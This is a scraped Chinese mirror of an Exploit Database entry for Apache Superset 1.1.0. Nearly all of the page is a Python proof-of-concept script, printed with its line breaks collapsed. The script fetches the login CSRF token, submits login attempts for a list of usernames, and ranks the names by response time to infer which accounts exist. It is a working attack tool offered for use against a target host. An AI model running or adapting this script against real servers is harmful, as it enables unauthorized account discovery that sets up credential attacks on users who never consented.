Apache Superset 1.1.0 – Time-Based Account Enumeration

• Exploit Database
• 112 阅读

• 作者： Dolev Farhi
  日期： 2021-06-30
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/50072/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65

  # Exploit Title: Apache Superset 1.1.0 - Time-Based Account Enumeration # Author: Dolev Farhi # Date: 2021-05-13 # Vendor Homepage: https://superset.apache.org/ # Version: 1.1.0 # Tested on: Ubuntu   import sys import requests import time   scheme = 'http' host = '192.168.1.1' port = 8080   # change with your wordlist usernames = ['guest', 'admin', 'administrator', 'idontexist', 'superset']   url = '{}://{}:{}'.format(scheme, host, port) login_endpoint = '/login/'   session = requests.Session()   def get_csrf(): token = None r = session.get(url + login_endpoint, verify=False)   for line in r.text.splitlines(): if 'csrf_token' in line: try: token = line.strip().split('"')[-2] except: pass return token   csrf_token = get_csrf()   if not csrf_token: print('Could not obtain CSRF token, the exploit will likely fail.') sys.exit(1)   data = { 'csrf_token':csrf_token, 'username':'', 'password':'abc' }   attempts = {} found = False   for user in usernames: start = time.time() data['username'] = user r = session.post(url + login_endpoint, data=data, verify=False, allow_redirects=True) roundtrip = time.time() - start attempts["%.4f" % roundtrip] = user   print('[!] Accounts existence probability is sorted from high to low')   count = 0   for key in sorted(attempts, reverse=True): count += 1 print("%s. %s (timing: %s)" % (count, attempts[key], key))